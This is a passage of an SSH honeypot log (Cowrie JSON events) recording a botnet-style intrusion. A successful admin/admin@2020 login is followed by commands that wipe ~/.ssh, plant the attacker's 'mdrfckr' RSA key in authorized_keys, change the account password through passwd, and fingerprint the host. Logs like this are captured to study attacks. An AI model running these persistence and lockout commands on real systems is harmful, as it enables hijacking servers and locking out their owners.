03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:45.804845Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@2020","message":"login attempt [admin/admin@2020] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:46.647583Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.097777Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.100767Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.104613Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.306839Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.798867Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:47.801673Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:48.001314Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:48.005102Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33478,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc76b7ce5d8","protocol":"ssh","message":"New connection: 190.244.39.224:33478 (10.17.0.5:22) [session: 2cc76b7ce5d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:48.191323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:48.199016Z","src_ip":"190.244.39.224","session":"2cc76b7ce5d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:48.399430Z","src_ip":"190.244.39.224","session":"2cc76b7ce5d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:49.214390Z","src_ip":"190.244.39.224","session":"2cc76b7ce5d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:50.419349Z","src_ip":"190.244.39.224","session":"2cc76b7ce5d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":33484,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f466d401ee9","protocol":"ssh","message":"New connection: 190.244.39.224:33484 (10.17.0.5:22) [session: 3f466d401ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:50.612606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:50.621518Z","src_ip":"190.244.39.224","session":"3f466d401ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:50.828387Z","src_ip":"190.244.39.224","session":"3f466d401ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:51.699610Z","src_ip":"190.244.39.224","session":"3f466d401ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:52.916202Z","src_ip":"190.244.39.224","session":"3f466d401ee9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.177746Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.181492Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.385197Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.828457Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2020\\nqIFoMbrNBB9u\\nqIFoMbrNBB9u\"|passwd|bash","message":"CMD: echo -e \"admin@2020\\nqIFoMbrNBB9u\\nqIFoMbrNBB9u\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.831758Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.835892Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:53.840706Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/91c67a39fc633635a45bd36f7e74b446f37da3c04511cc65e8168e07a73c9ed6","size":32,"shasum":"91c67a39fc633635a45bd36f7e74b446f37da3c04511cc65e8168e07a73c9ed6","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/91c67a39fc633635a45bd36f7e74b446f37da3c04511cc65e8168e07a73c9ed6 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:54.047308Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:54.507295Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2020\\nqIFoMbrNBB9u\\nqIFoMbrNBB9u\\n\"|passwd","message":"CMD: echo \"admin@2020\\nqIFoMbrNBB9u\\nqIFoMbrNBB9u\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:54.511348Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/90eb9d228b19d8964d313adae1b8e83f804c972aaf98f9cf7269561bbb1e124f","size":25,"shasum":"90eb9d228b19d8964d313adae1b8e83f804c972aaf98f9cf7269561bbb1e124f","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/90eb9d228b19d8964d313adae1b8e83f804c972aaf98f9cf7269561bbb1e124f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:54.717273Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:55.205414Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:55.209067Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:55.419327Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:55.871336Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:55.875521Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:56.083096Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:56.528781Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:56.532473Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:56.535917Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:56.745394Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:57.181438Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:57.184391Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:57.393142Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:57.835001Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:57.838496Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:58.042201Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:58.494043Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:58.497507Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:58.703461Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:59.149364Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:59.152905Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:59.361299Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:59.819834Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:29:59.823317Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:00.023184Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:00.480215Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:00.484702Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:30:00.696286Z","src_ip":"190.244.39.224","session":"a72611d9b7da","protocol":"ssh"}
